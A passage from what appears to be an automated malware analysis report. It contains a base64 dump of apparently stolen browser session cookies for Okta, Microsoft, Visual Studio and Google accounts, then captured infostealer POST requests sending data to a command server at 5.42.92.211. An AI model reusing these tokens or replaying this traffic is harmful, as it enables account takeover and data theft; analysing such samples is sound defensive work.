QURSVU1fQlQxCSJSOjUwfGk6MTEyNzZ8ZTo2MyINCmNyb3dkc3RyaWtlLm9rdGEuY29tCUZBTFNFCS8JVFJVRQkxNTYzMzY2NDM5CXByb3hpbWl0eV8wMzcxY2FjZDNjODZjMTExMTBjZTRhN2MxNWM3N2UxOQlBTVpHbk82by8yTUJpTm9VbllxREY0UXVYaUFYMnRqUlozRVpFV2t5UU5CSnBxdm9pczd1bllIYkVuOUNRazFhUnQvZERKNjJleHVlVmVnTCtvZUgzMmV0RU1ZUkJaNG1aNW1udWNJQWpHQjdvUURtN3h6R0J2c240RU9WZlVtZlAyV29GM0JJRlhjTS9lVVZsK0JJWHJTcXo4azJqZ0h1VjJMbmVabXd0UlQ0RkRsandNbkEveWtDa1pVeS9hdTANCi5sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tCVRSVUUJLwlUUlVFCTE1Mzk2MDY0NDMJRVNUU0FVVEhQRVJTSVNURU5UCUFRQUJBQUlBQUFEWHpaM2lmci1HUmJEVDQ1ek5TRUZFcU4zbGNJY1ZrX3R4TjAwMk0wYVNLUTN2SFctS0tPdlQwbDJGWjVrclhSaUdlOTZUUFAwVGNkYzZhVGhEMjRFUUg4WHdmTll3S3pZaDZCU0phaEwtb3EtRnF0UU9WTFg2SVAwSUhsSWh4dy1JaHlmZTBGcXJxdlRENDNVMlk2MWtkVjlSdzNuS0otbzg0RUxlcTZTbnV2RFFWV0VhMGdMcmhNajZJazFYWXdubDdsNldhVDk3a29KS3FLaVZrSjFpdVlPR00xNC00UDVaMFJyRTgwc0g5VXBVN2xJTEx0WFlQMFl6VktXbm9hLVV3ZTBkSGpMOXZTR19Qa3Vlem5UVUF4dWNzSlFrMm9VcnpJbEExeUpVTTNTZUVfU29yTDFlV0pDV1R4d3psbEVoOWVoQTU1YzNQU1J4azZfdFdwYV9IbDlzS1FFMEFaR1ZGZEg4VE5YNU9CdHRMSDc3Ti11bXZNWVZmMkZEeVRTdmlOVUJHcGZ1TF9uRm1MWkJ3OUI4UXdrcDdpTEZ6cE1aX3VKSVlGelI2QWdxRVdTLV9lbXBXZm9udFVBSVRyZ2ZyR0VwRU1CVkZYbDlPdElISHdYbHBvbDROVXp3NnFESWhUYVRyX3hTT3J6UGhCT0dCWmFyRGl4RGpFTXpZTDc3RDhYMmRsd0s3elBIZ2R1MFR3RGdKN1ZfVk1ibmhpdkhUTjUweGxGQ011dHhkTG9kUWUweW5lREZzeHRXa0RaaS1SbDM5RUJNYmZIOUh2S094bGtqRTVHRklQeGNDRnZPU0hxZG9oeVBMS2NxTHpSMnBIUVUzZXRpTTEwdDNOa2dBQQ0KbG9naW4ubWljcm9zb2Z0b25saW5lLmNvbQlUUlVFCS8JVFJVRQkxNTM0NDIyNDQzCWJ1aWQJQVFBQkFBRUFBQURYelozaWZyLUdSYkRUNDV6TlNFRkVSZ21IYUUyMW52dk9UVlkyXzc1TmtaR0ktWXNCV0JPdWxGQXNaQ3NycmF6b0Q1RFFZUWdCVF9KWnVmX19lV1FnZ1NMcTlQZGVncnJ6RlprWEloM0EyZ015X0Z1aGxYT1c1N2Q5UjEtZDlVdXRpMDh6Wm1IZzVlS0FIY1hzNUJoWlZ6R0R1WVFRd1ZYbC1USlNoUnlZUVhaMy0xYlJhVHNGTzdXandyQUZ6Q0VnQUENCi5sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tCVRSVUUJLwlUUlVFCTE1MzQ0MjIxNDMJQ0NTdGF0ZQlRM1ZqUkVOclVuUlpXRXBxVEc1S2NHUnRWbmxpTUVKcVkyMDVNMXBJVGpCamJXeHlXbE0xYW1JeU1UaFpXRUozVDJwUk5VOVhTVFJPUjBacVRGUkZlazFxUlhST1JFa3pXbWt4YUZsVVJUTk1WRWt5VGpKT2FFNXFhek5PVkdNMVQwSkxWRUY2UTBOQldUaEhRMU54UjFOSllqTkVVVVZJUVRaRFEwRlpRWGRuWjBZNFFXZEZRVTFaU1VKVFJFTkRRVlZSUTBGUlFYZE1SRUZXVFZKTmQwVlJXVVJXVVZGRVJYZHdUbFV3YkZWSlJVNUNTVVp2ZVVGb1RsZEJSa0ZRWWt4cWJrTkVVVVpYWmxsSlFVRkJRVlZCT1hOTlFUQkhRMU54UjFOSllqTkVVVVZDUVZGVlFVSkpTVUpCUjA4clVFbEZiVXB0WW01SlVsbHZSalJYUlhOeFoybDRWWEZGVG1KTmQwVjRUbnBGUVcxRmJIUlphMmRZUm5aTk9YVjFNbkJDVG1WbVYwWnhXRWhUVEhsVVNrbFVhRTFVY1VoclVXOU9lbVl3VW5kcE4ycExWVFpGVVhkNFYwVXdlaXRvUW14b2MyOURObEV4UkZJNU5qRkRSMnB5ZG5aQ01rZ3ZPVEJZYkVKWVkybDVZVGR0VlRRdmQweFBjREo2TTBSMFVGUjBOMGs1VERVM2JHTnlNMjlsTDJSR0wxRTVkRWxGTTIxUVNrczNObWxwSzJJMU0yNXdUWFlyTkVFMFdYUk5UVmR3VVVkalZHWk1Za2Q2UjNwbGFtVjBNVkpLWlVOa2FUVklVazV0UnpCNWIzQXJPVU13VEV4aFNDdHRObUkyVUdsQ01HNUdkbWNyTVdrNGJGVjNkbmhGWlc4NGRuaHhVMjV4THpZemQxaHlUVWxITXpNNGNWTldlVGgyTW05Mk1tdFBTalJ2Vlc1ck9HOVFVMVl5V1RabVFsZEVjRFo1VkhGUmFuVTBTeTlXUkZVM1ZWTnZia3QxTXpSaU1VOTNXV3N3ZDB0M1dVcExiMXBKYUhaalRrRlJZMEpOUWxGSFEwTnhSMU5KWWpORVVVMUlRa0ZuUTBKbGRsZHdVM2MyVVZsQlNVeGxibVkwWlRscVoxZG5ZVU5SYkhwNVVWaDZNeXQyVmxOQ1NWTkRhRVEzU21ZMVkxY3hTbXhUY1dwNGExZFRVaXRCV25aSFoydEtkREoyV1hCbFJISXhWV2M5DQphcHAudnNhZXgudmlzdWFsc3R1ZGlvLmNvbQlUUlVFCS8JVFJVRQkxNTMyNDM1MjQzCUZlZEF1dGgJNzd1L1BEOTRiV3dnZG1WeWMybHZiajBpTVM0d0lpQmxibU52WkdsdVp6MGlkWFJtTFRnaVB6NDhVMlZqZFhKcGRIbERiMjUwWlhoMFZHOXJaVzRnY0RFNlNXUTlJbDh4TXpZNU9HRXdNUzFpTURsbExUUmpaRFl0WVRSaE5pMDNNakV5WVdSaFpURmtZVEl0UVRZME56VXhRalkzUkRVMk56Z3pPRGM1TkRCRk1rTTFSa00xTnpBMFJqTWlJSGh0Ykc1ek9uQXhQU0pvZEhSd09pOHZaRzlqY3k1dllYTnBjeTF2Y0dWdUxtOXlaeTkzYzNNdk1qQXdOQzh3TVM5dllYTnBjeTB5TURBME1ERXRkM056TFhkemMyVmpkWEpwZEhrdGRYUnBiR2wwZVMweExqQXVlSE5rSWlCNGJXeHVjejBpYUhSMGNEb3ZMMlJ2WTNNdWIyRnphWE10YjNCbGJpNXZjbWN2ZDNNdGMzZ3ZkM010YzJWamRYSmxZMjl1ZG1WeWMyRjBhVzl1THpJd01EVXhNaUkrUEVsa1pXNTBhV1pwWlhJK2RYSnVPblYxYVdRNk9UVTVZV1V3WXpVdE1HTTBOeTAwWmprekxXRXhOVFl0TmpNMU5qYzFaVEl4TjJJNFBDOUpaR1Z1ZEdsbWFXVnlQanhEYjI5cmFXVWdlRzFzYm5NOUltaDBkSEE2THk5elkyaGxiV0Z6TG0xcFkzSnZjMjltZEM1amIyMHZkM012TWpBd05pOHdOUzl6WldOMWNtbDBlU0krTUZsa1ExZGFXazl0U1RSQlFWRkJRV1ZMTlVKc09ISnRTSEkwYzFkRGNpdE1iakJ6TTNaT1NFa3lkMGhQY25oaVV6SnNUMVZsTDJWTFlrWnVVR2RpWkdVeFFtSnFjR2REY2pGRU1YaEVPWEJaUm04ckt6VlVOVUYxTVhCbmMyMVZXRXRpV0RsdlNtTk5lVEJUUlVSemNtazVXa2hEV0ZaaWVVVXJTVEl6ZW5jeUsySlphUzlKUmtsclRVdG1RWGxYVGs1WU1taFVTRE0wT1VaYVMzTTJNMDlEUjBoTFZHSlZUM2x6U1RCb2RrOTBSRUYzWm5rM05HOWFNVXgwVTBWVlZrbG9NbU5xYzI1YWRWRXdjVU5IZUVaSWVuaFlSMnRoTWpSSUsxRldlaXRuYjFaSGQzUmplRkV5ZGtoNWNHZFZZVlpRWVZOMVUyaExXbUV2ZDFsUU1FOXVlbmRoVDNsVmEwRjZaV0pQUjJSVVNtNDFaemwzV2pJNGJXSlNVbmt2T1ZsRVFuSktiVUUzWkRKQlRXY3ZkVXgxTkRVMVRqZFNRV3A1WldndmJIcElSbTAwYW10YVZtNVFWVGw2VDNwd1ZFWnVVRmhyU1VvNFIxTmhWemhyWWxoRVlrTkRUVkpyWVV4Uk0wOWliRWRVVVc5cVdtcDRUVTlyYjJWUWVGVmtjamh4Y2tzMk1ERTJZMDVuY0dkTlVrRkJSVUZCUzIxTmJWbGpXbTlWUjNvdmNHeFlibEp3Y201aldEVk1iWEJwZW1GcFlrNW9Oa0Z0WTBVMVRWUTFibTlDTWtscGJVOVpRV1pJVFZOcGMyZEJRVVpEZEVGTk0xZDZOazgwWTNkbmJsQkpTbFZ1Wm1FcmVVVkZkbTV4VlVaM1ZWUkxlVWxFZFRaRk4xSTNZa2gyVVdGdWRHcFBaVGRRWm5wVFR6Tm1ZVloyVUVGRWFHUk9RekZxSzBaemRGQnBXWEEyYVdGSE0wdFBhR0ppUlhkdVRXdHllRWR5Ym14VFZreEZSVkl4Vm1nMGNGSndTelpSU201bE1HNXFiREpEWVdOVlltMHpWR0ZOTlhCWVp6RlpjV3R2VDBkck5VUndNblpxTlVKcVJHdFhkWEJUUldKaGIzQTVWelpxV0hRdmJXTnJjVFJLWW5BNVNGQjBRekppV1ZoblEycFZXWFp1VVhsaFJrVllWbGN4VFV4aWNsRnBTa2N6TDI5dFkzTkZXSHBOT0Rnd1FrNHhZMGxTUzNneE9YUkhWbWRsVDNWeFIyOXVZV2ROYlNzeVdEWTFPWFYxV2sxaE1rbFdWVk5zY0haSFoyb3ZTa1JFWjBGM1FVRmpRblJSVTB4TU9YY3ZTWFJIZVRGNE1EWjRWVUp3WkdSQloydFBPV3hMUTBKTldFMWhiVzh2WkRRMVdHODJVVEJZZERRNWFGZDRValUyYzFaTlpYaHVUazl4UmpGS056WnhTekZEVFhOTmRucExRbW9yVVdod1VreFVTM2xzYURad2FWSkxLMVkxV2paNWJqUXpWa012VFc1V01WZFZaRUZDTjNGdGJtWmFhMVYzVW5CWWVUZ3ZialZvT0RWaFRXOHlRVEJTU2xKQmRrbE1ibTlIYUVONmRIQk9XVkJGTlhOMmQzaEVURXcwU2tKbFJuRlhWelZoU1hWTlVVOXNiMjl1ZG5CRll5OU9WVGhuY0Vsb2QxZGFiRFF6TWtORmFuVk5Ra3htTkhwQ0wyUjBVbTVJUjNsWGJESnZXV0pvU1dWSUswUmFMeTh5Tm1SR2EwSkJNbll4Wm05blNYWTJiMjVMWTFOaVpsWXpVV0ozUW5Cdk1DOVZRMjVuWm5KRU1pczRNR0UzYXpKUFRFUlZPVWwyTVRWNlR6WlQNCmFwcC52c2FleC52aXN1YWxzdHVkaW8uY29tCVRSVUUJLwlUUlVFCTE1MzI0MzUyNDMJRmVkQXV0aDEJTXpCd2NVUTRkM0JOWkhaNGNEaENkMFphY0ZkcldsTnJZVU0zVkZGRWJXa3JlSHB0U205Vk4xZG1hemd5YTNGUWFqVmpWelp2ZDI5amVuRmlWbmM0Y1ZodWEyMTNlREpKWjJSaldYRm5Oa05DWlhCeVUweDZlbUo0Y0VZM1JXTTVabWcxTlV4amIyd3hOemxDVG1Gc1MxaENjRWxYWjBoeVJTOHZRazgzUTFnd01IVkNWVEI1YWxkbmR6WXZWVU5QTmxOVllsTjNUR1V6VFZkSVNXWlVTemhCWjJKVlNTOU1NWGhsVUhFck1taDZhVEpVWVdaclpreFZNa2Q2ZGxGeVQwRjNTbEF6U2xrNVR6Qk5RMVEwUkhoUE9FdzROVkJCUzFCek1HOHJTV3RUTTJKeVRsaEpSbUZzU1ZJMFdua3pXSGt4UkdNck5VOWhlVkIwTXpKSGMxWnNlbm9yWkU1aFJqTmFRekJDY21JNVoybEtja3RsUWl0T2NsVTNhRmh0YldWYWN6UTJWelpYUkVoV01rVkJUMVJOVW5wS09XVXJjR0V6Um14TVFteEdLM1o0WlRSUGJDdGxXRGx0U1ZsQ1ZHOHdjekE0TlhKa1REaGpLMkpKTVVKUVUwSldUR3AxYUU1QlkyVkVhbVpFUW5WS04ySlZTM2hJTm1OUVdISnNWRlpWVm5kS00yTlhVVmhIVkhCSmFUSmpiM3BQVGs5VWQzbDVLMGx2TTJvNFpYUllSalpOWkRoUlJGZEpNR1ZxSzJjMFIzUXJWbEpPV0hGR1IwdEhTUzlpS3pOdGREUmpjbmhoTVhkaFlVdDFjRFZwWVVOMVJHOXFabUZOZEVGeWVDOHJRaTg1V0ZWc2FFSlNlazFUUkRaTVJUSmtTVWhRYml0bUwzTk9VVXRpY0hCclducEhhRWRsTTFkS0wya3lVMkp1ZFZjdlRERlRiSEV4ZHk5U1FXUmpWMFZtV1c1bGVXTm5ZemxFUmxGM1NtVm5UMWd6YmpKUGNtNDJPVUZ4TTNOc2VsaFRZM1JhYXpWb2JXb3dOR3R0U1VoNVlVMXJiVWQzT1dKc1FVZFZZMk5LWWpkdFVVRjZOa293WWxOUk5sWk9WMlJqU0dwQ1REZHVaVzgwT1U0MGMzTlBhM1ZXTkRCcFRFMHlRVXhITXk5WkswZEZNVmhtZWpCaE5ETjZZbEZWZFRNMEwxbzRjbXh6YmtJMllYWkVjM2hSVlZkcGQzTklNbWRvV0RkME1DdHBOVTVMY2t3eU1WbEViVmw1VEZoTlZqTnhhVTVMTDNoUlJqaEZNU3RFVEU1UloxbDNaekp6T0RKUFQwRllaVlpqU0hwemJYWXJWMFVyVmpFdlJ6QjNPVlZaWlRsUk1uZG1jek5yWkVoaVVWUXlTRFpWVkVoSWFVTmpiREZKYTB0c05saDBTVGxNTkcxMGNYbFpVbGRwSzJaWVV6SkRaVnBGVmpGWU5qWmxhRTVwVlV4VVMwZEdhVE5QTVZGdVNsQndWSFZKTDJaWmVGSldjMGhSTUdWd1lWVmlRakpGUmpSNFpWQm1SRXRWVTNCWE5HNXVlRGhoTDB3ME1UUllZM2hDVTNKRE5FNDNXVkF3Tkc1UGQzcHpiak5sVkhaVE9XNXNhbXhrYm5BMVRUSkdkSFlyYVRSV1lsRkNValZoWldGWWEyOVRiMUJwUlc1b0wyeDNZU3N6VmtkdVRUQkVhR1V2VFZkSE16aFdjaXRDZWxCaU5FRXpTVWh5TDBveWVXNXphM05ZU2pVNVREZHBTM1JxZFVVNWFrWktWbU05UEM5RGIyOXJhV1UrUEM5VFpXTjFjbWwwZVVOdmJuUmxlSFJVYjJ0bGJqND0NCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNTQ3MzgyNDUzCU5JRAkxMzQ9REpWRHJGTUpfN1dUTWFUaHE0QndYVzQ4eHV1RklqcnhtNms2bVpfLUllc0otZy1rTGNRWTNtS0xXUHZDOTIweVBTU2E5ci1oakkxSlU1bXlGOTRleXVpTkx5T0lpUTQ3Tm9BV0FmMnI0SkNueEd5YmdTeHlKeTFnaDJJLTZpYzNKZmNUSVlqQjlCYw0Kd3d3Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNTMxODMxMDU3CURWCWd3N1NzZ2FEZkJJUTBOOFFYeF9lTTllRkdrcURTaFkNCi5taWNyb3NvZnQuY29tCUZBTFNFCS8JRkFMU0UJMTUzMTgzMDQ5NglfZ2FsaQljLXNoZWxsbWVudV84NQ0KLnZpc3VhbHN0dWRpby5jb20JVFJVRQkvCVRSVUUJMTUzMjQzNTI2NglTcHNBdXRoZW50aWNhdGVkVXNlcglEaXNwbGF5TmFtZT1NYXJjJTIwUml2ZXJvJmFhZD1GYWxzZQ0KLnZpc3VhbHN0dWRpby5jb20JVFJVRQkvCVRSVUUJMTY4OTUxMDQ2NglWc3RzU2Vzc2lvbgklN0IlMjJQZXJzaXN0ZW50U2Vzc2lvbklkJTIyJTNBJTIyZDQ3MDhjZjMtNWQzMC00OWI5LWE2ZmYtZTU2Y2MzODcyOTJkJTIyJTJDJTIyUGVuZGluZ0F1dGhlbnRpY2F0aW9uU2Vzc2lvbklkJTIyJTNBJTIyMDAwMDAwMDAtMDAwMC0wMDAwLTAwMDAtMDAwMDAwMDAwMDAwJTIyJTJDJTIyQ3VycmVudEF1dGhlbnRpY2F0aW9uU2Vzc2lvbklkJTIyJTNBJTIyYTQ1MmYzNzAtOTY3OC00YmZiLWJmYTgtMmQxY2Q0MzY5OWUzJTIyJTdEDQphcHAudnNzcHMudmlzdWFsc3R1ZGlvLmNvbQlUUlVFCS8JVFJVRQkxNTMyNDM1MjQzCUZlZEF1dGgJNzd1L1BEOTRiV3dnZG1WeWMybHZiajBpTVM0d0lpQmxibU52WkdsdVp6MGlkWFJtTFRnaVB6NDhVMlZqZFhKcGRIbERiMjUwWlhoMFZHOXJaVzRnY0RFNlNXUTlJbDh5TW1OalpXVTRaQzFoTXpkbUxUUXdZbVF0WVRabVpTMW1PV1JoT0RFek5qUTFPREV0TkVJNU4wSTBSRU15TkRVME5FTXdNRUpDTmpBME5qTTNPRUkyUVRrNE9FVWlJSGh0Ykc1ek9uQXhQU0pvZEhSd09pOHZaRzlqY3k1dllYTnBjeTF2Y0dWdUxtOXlaeTkzYzNNdk1qQXdOQzh3TVM5dllYTnBjeTB5TURBME1ERXRkM056TFhkemMyVmpkWEpwZEhrdGRYUnBiR2wwZVMweExqQXVlSE5rSWlCNGJXeHVjejBpYUhSMGNEb3ZMMlJ2WTNNdWIyRnphWE10YjNCbGJpNXZjbWN2ZDNNdGMzZ3ZkM010YzJWamRYSmxZMjl1ZG1WeWMyRjBhVzl1THpJd01EVXhNaUkrUEVsa1pXNTBhV1pwWlhJK2RYSnVPblYxYVdRNk1USXpPR1EyTTJZdE5EQTNaaTAwTXpBMkxUZ3hZMk10WkdNeU1EZ3dOREZtTWpFMVBDOUpaR1Z1ZEdsbWFXVnlQanhEYjI5cmFXVWdlRzFzYm5NOUltaDBkSEE2THk5elkyaGxiV0Z6TG0xcFkzSnZjMjltZEM1amIyMHZkM012TWpBd05pOHdOUzl6WldOMWNtbDBlU0krTUZsa1ExZGFXazl0U1RSQlFWRkJRV0p3V0ZOU2JubExRVm8wVkhwV2JYZE9UREI2V1ZWclFUQlRSREJhVVRKcWEyNHhNVzh4VFVwNFNYaFNVa2N2VUdoTVdFWlZVMEZTZERCVmNITnNTQzlNUlN0bU1XSlJVWG8xUkZJMU55OXJkV0ZDU1ZZdmFsbDJNV3A0VGtSTFEyWXJTVGh3Wm01cWFuTXZkM0JuYTBST1dHaE1ha1pxY3pCM09IcEdjWGhEWjJWcGVIaEhhVzlDTjFOSVlqRldXbTlKVjNrclkwRkNVVGhvTlVJdlpXeERVVEZZVUZkNE5uUkxUM2x4WTB0allXZE1iM0JSUTNOamJWUXdaMW94VXpFM1QwRlRZbXh4YzBWWlJXbHJhMGhzT1V0WlRtdDJRbVZVUTFWRFFqQjZjbUZ0YWtORldHMVdkVlp0ZVd4MWVXUnRNMmhaWldGb2IwVTRXVzEwWm10WVZrUkRiWGRNUkhwUGJEUkpUazFuUkRCSWRVbHVOVWQyZWpoNVNreFdVbTVOVjJOaloweEJWbkE1TVhGdk1rc3lXRXBKY3pWblpqUXhkVUYzVW1GVFZVNTRVWFkxVHpkUk1rVXdTaXRsYTJ3eGNHeG1UVkpyWVV4Uk0wOWliRWRVVVc5cVdtcDRUVTlyYjJWUWVGVmtjamh4Y2tzMk1ERTJZMDVuY0dkTlVrRkJSVUZCU3pnMU5GUXJNbFIzY21KSllXWTRUamhLUTNwMFRuWXhWMjVFU0c1UWFGWndUR1pqVmxCMlprOW5jekV4ZGxsb2FuSnlSVE5YY0VOTGRqVlBOMEpyUkhkeFFXcHJOSEJaV201UUwwSjRRVTVsYnpKTWFqSndjRUZIVW5rNVp6TnFVWFp4VFhGRWNrVXZPVWw2TUhOc2NYbExiMmRFVFRReFEwTkVRVkpIYUdWMFNGSXlUV3dyUjFoTmRtOXRXVnBHUm13MmNpdHhSVGsxTDJGVVJXMUdVamxHYnl0Q00zZ3JTbkZVVjJGS05XMTVibW8yVUhSU2RqbFZhRWRGZFRJMmMyWnplWGd3YldWYVZDdHFiMnBMVUU1NmN5dGthRFYyWkhkM1JFTkpUV3BqWVdsdllVMTBMME41VmtWblZtbDBPREU0V2k5UWVITlNWazFYVFVoelkwRjFkbWROZDJGcGFFWk5lSGRSWWlzeVp6UXdTWHBJY1dwdFNraElZbEpLVVdjNFRIUTJiVnBzV1hCaFFYSTVOV2h0UlM5dVkxVnpZWFJ0VFU5NVNuZzVZbEZKVVU1Q1IwNVpRMjV6TDBoWmNGWkxRa0kwUVVKQlFVRjBRMlJXYzI5SFJIcDRjV1ExT1M5RmIySXdVa1ZMVG1jelZ6VXpRVU5SU0RNMVNsTm9hbE00UlhOU1JUVllURE54YTI0elZVdFhNVm95U0c0eE5tWkVkM1JxWXpOSVVpOU5VMVp4U0hwV1ZUTTNiM2hZT1UxM1R6WnhUVUZRWkUxbU1HMUlialpuUmtSdlExUnVaVU41ZUhSa1RucDNSRlJaVVd4S0swOVBXVWwzTDNoR05GWkVjMVp1ZGpSalVWZFhXV3RxVW10UlZsRmtaRkZNZEZJd1JVVnhSVUpQVFRkSFVtbFVhbWRRV1RnMWVuSlFlbFJRZUM4eFMyTm5ZVkJIUkZOWVJYVnZRV1ZKTW0wMGVDdHpPRXhQTTFaQ1ZVeDFWSGxzTVdjM1puVTRhSEpGZFc5SFRHNWxWRzV2Wm5SYWRtOWhSRmhRVEU5YVpucE9VeXNyZW5rNWNreGpaRUpEYWk5Q2VuTXJTMUZ2WVdwSFFXY3lTekIxZW5KdldIUkRkV1pOVmxGd2MxbHFlRVZKWms5dGVXaEgNCmFwcC52c3Nwcy52aXN1YWxzdHVkaW8uY29tCVRSVUUJLwlUUlVFCTE1MzI0MzUyNDMJRmVkQXV0aDEJYTJzNFF6aDRTRkkwWVVaSGJ6RmlWa0ZWV0RKSGRVSnVNVVpwTlhCSVVFTjFSME5EWjB0NmFtWnFWeXM0UWxBNFlpdEtRMWMwVm1WamVXZFRkbFZyU1VWcWMzSmlXbTFsZDBwdFluVmFRMjFQYUVOYVNFTjJVMk5VUzBGSVdESjBVWFFyVTNsb1FWVjJlR1ZyZVdoclkweEllVFZwT0hSV1VuSlJNMFJDTm1wVWRFNTZZamxwTmpWMWJ6QlVjMGxPWjFGcFdGZFpOVVpFY0RrNWRWZFFNMUoyVEdSMVVFZzRXWGQ0WTJ0blpVSkNORGg1Wm5BdmNUTnlPVk5FTm1zNVlURmFkWFJ0WWk4NFZ5OW5aSHB5TVdzdkwwcE5XRXB6YjBoMmNETkpSR3hWSzBKT09WZGhUM2RDYW1kVVJUSjRUM1JaVjNSdk9XSlVNVkp4TjNoVWIxUndWRmxrUTFWMFFtdHZZazlSTW1wQ1RtWnBRM2RPWW1zdmFEbENaVUZIVDJ4eFZtRTNNR053YWpSUGJFSnRNVWczZHpWWFdrODBjelZrVmxodlRIZFFNVlYyYldkRFFtcEpPV3RGYlROTGJYbERXbEJvV2tvelFtdGhUekJQWWpsNWNIRnZjbkV2TlZac1ZXVTBjbTFrZUdSVE0yeFpSRlJoZUZobVNVd3hSMWhGVFZoVlJuZEJZemh2WkhKTllqbHJNRTlMUjFkSUsweElabVZZUVZvMlJGRkxjV014Y2xsRmQwdHBhRXhMUkZSTVIyTTFaMHROUVN0cE1tRjVNbVZuTmxkdmJFeENTVko1V2pnd1pUQk9iMk5yYWxGUU9IbGtUVkpYVWxjclUyVjNlVmxKYml0YU0yVXhTRzFKVFRkbVdEaDBjVEZaV20weWJDdDNRelV3TUVwV1ZuVnFPVUpUTDFGU1owbFNRamQyYjBNdlpFd3JZbE5ITW0xVmNIRndkMDgxUm10VE5rdHZRa3hQZERaSE9HMXlhU3RQVUhrclIxSXdWazFxVVZWelVFUkdUMkpCZGxWTGNURmplakJFTkhRMVltUkZjbGxzWkhSdFJVNDNhemwyWXpScmNrZHZSMmxEYlRWaVNXSmxUblEyTmxKQk9EZHRZWGd6TVN0Q05tdEJkM1pVZGtGbGNXaHJhME4xU200M2JTdGxlV1IxUVZKU2JtVjZkM2t3WW5KRVZVOUtORkYyVGtKamVXRkZTV2RIUlU5eldVOTFkVFl6WVVkeWJVeExUU3RxVjBObE5uUXJUa3hyYlV0SldFVnFiVzVXWnpSNFMyaHRNRTVLTXpJMWJXdDZSbWh1TUVwcFRUUlROVFFyVUZscFRVZG5RMHhZWlRRM0x5OW5ZMnhJYVZGdlMyRTVVVko0WkUweFVHUkJaRzl3Y0dkSE1YSjBOMDlOSzNOTVoyNUhkVGh0VUV0VVRGSm1PRkZwY25NM01sVmpNVVJvYzBSbmFqbDFVakF3V2lzNVQwUnJaMDkwYzNCcU0yRnpWSEF3WlRJMlFtSm5USE16YTJoSVkwOUlhMWxYUzFKR2NGWkJSVTVKTWk4NVVXTmFlamRaUTJwR0t6VnFXREo1ZERSUFNWWlRkWGhsTjFGRU5tZHlhakJzTTFGU05VaFVOV2hPTVdsV09FRTVTMmxRU2pGYVJXcHNOMXA1TTNFNVRVVnhSREU1VW5CdU1ITllSbGhIZW5VNU5WUkhNbXBQWTNwc1FUUTVRbmtyTWtwdGJrMTFWRmhNWVRKVWJuZDBSRGxYUm5scWJWbEtNVzFPV1RSRmRGVnJXa2c1VUdwbVdqQkdiQ3NyWXpaa1RscGhiVTFzVW05YW"; File: "PCAP") Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 268User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache--U3QNgGNOxDGaU2UGzgNCContent-Disposition: form-data; name="msg"ZmlsZXM=--U3QNgGNOxDGaU2UGzgNCContent-Disposition: form-data; name="token"ZDMzZTAxNGM2OGNjZmE4NWNkZGM5YzBkNWFjZWQyZTZjNDdlZTJkNGRiNGIyZGUzMjEwZWM3Mjk0MDA1ZDdjMg==--U3QNgGNOxDGaU2UGzgNC--"; File: "PCAP") Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 268User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache--U3QNgGNOxDGaU2UGzgNCContent-Disposition: form-data; name="msg"ZG9uZQ==--U3QNgGNOxDGaU2UGzgNCContent-Disposition: form-data; name="token"ZDMzZTAxNGM2OGNjZmE4NWNkZGM5YzBkNWFjZWQyZTZjNDdlZTJkNGRiNGIyZGUzMjEwZWM3Mjk0MDA1ZDdjMg==--U3QNgGNOxDGaU2UGzgNC--"; File: "PCAP") Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 268User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache--U3QNgGNOxDGaU2UGzgNCContent-Disposition: form-data; name="msg"bG9hZGVy--U3QNgGNOxDGaU2UGzgNCContent-Disposition: form-data; name="token"ZDMzZTAxNGM2OGNjZmE4NWNkZGM5YzBkNWFjZWQyZTZjNDdlZTJkNGRiNGIyZGUzMjEwZWM3Mjk0MDA1ZDdjMg==--U3QNgGNOxDGaU2UGzgNC--"; File: "PCAP") Found string "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=U3QNgGNOxDGaU2UGzgNCContent-Length: 276User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cache--U3QNgGNOxDGaU2UGzgNCContent-Disposition: form-data; name="msg"bG9hZGVyY29kZQ==--U3QNgGNOxDGaU2UGzgNCContent-Disposition: form-data; name="token"ZDMzZTAxNGM2OGNjZmE4NWNkZGM5YzBkNWFjZWQyZTZjNDdlZTJkNGRiNGIyZGUzMjEwZWM3Mjk0MDA1ZDdjMg==--U3QNgGNOxDGaU2UGzgNC--"; File: "PCAP")61:T2c1e,Pattern match: "https://www.facebook.com/login" Pattern match: "https://accounts.google.com/" Heuristic match: "OZ.EU" Heuristic match: "@~.JP" Heuristic match: "?vo_.Am" Heuristic match: "AU.tJ" Heuristic match: "&F.iN" Heuristic match: "\p.DM" Pattern match: "PjVW-PjWW.PjRW/PjSWHPjPWLPjQW" Pattern match: "http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0vj0h0?3http://crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%http://ocsp.usertrust.com0G4JaF^@F-J@H#jYhRB_mt^Ju~@Mc5" Pattern match: "http://ocsp.globalsign.com/rootr30;/http://secure.globalsign.com/cacert/root-r3.crt06/0-0+%http://crl.globalsign.com/root-r3.crl0G@0" Pattern match: "http://ocsp.digicert.com0A5http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C" Pattern match: "https://accounts.google.comstart" Pattern match: 